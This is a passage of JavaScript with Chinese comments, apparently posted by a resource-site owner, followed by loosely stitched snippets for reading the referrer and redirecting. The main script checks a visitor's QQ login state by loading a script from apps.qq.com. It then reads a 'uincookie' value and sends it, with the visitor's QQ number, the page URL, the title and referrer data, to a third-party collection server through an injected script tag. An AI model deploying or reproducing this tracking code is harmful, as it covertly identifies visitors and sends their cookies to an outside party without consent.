var code = null
if (typeof(data3) == "undefined") {
code = data0.err//这里是抓取data0里面err的值;
} else {
code = data3.err
}
alert(code)//输出抓去结果
if (code == 1007) {
window.clearInterval(isLoginTimeID)
insertFrame()
} else {
var uincookie = GetCookie("uincookie")
if (uincookie != null) {
window.clearInterval(isLoginTimeID)
var title = document.title
title = encodeURI(title)
title = encodeURI(title)
var url = document.location.href
url = encodeURI(url)
url = encodeURI(url)
var oHead = document.getElementsByTagName('HEAD').item(0)
var oScript = document.createElement("script")
oScript.type = "text/javascript"
oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie+"&src="+src+"&keyword="+keyword+"&srcurl="+newurl
oHead.appendChild(oScript)
} else {
var checkscript = document.getElementById("checkloginscript")
checkscript.parentNode.removeChild(checkscript)
}
}
}
function dynamicLoad() {
var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t="
var time = new Date().getTime()
vsrc = vsrc + time
var oHead = document.getElementsByTagName('HEAD').item(0)
var oScript = document.createElement("script")
oScript.type = "text/javascript"
oScript.id = "checkloginscript"
if (oScript.readyState) {
oScript.onreadystatechange = function() {
if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
oScript.onreadystatechange = null
isLogin()
}
}
} else {
oScript.onload = function() {
isLogin()
}
}
oScript.src = vsrc
oHead.appendChild(oScript)
}
dynamicLoad()
<input type="text" style=" width:300px" name="new" id=new">
<script>
var nurl = document.referrer//来源url
document.URL //获取当前域名
document.title//获取当前页面标题
document.getElementById('new').innerHTML = nurl</script>
我是爱分享资源网的站长,如果你觉得不错请访问下我的网站,谢谢了!
<script>window.location.href="新页地址" //将本页替换成新页面
window.open("新页地址") //弹出一个新页面
</script>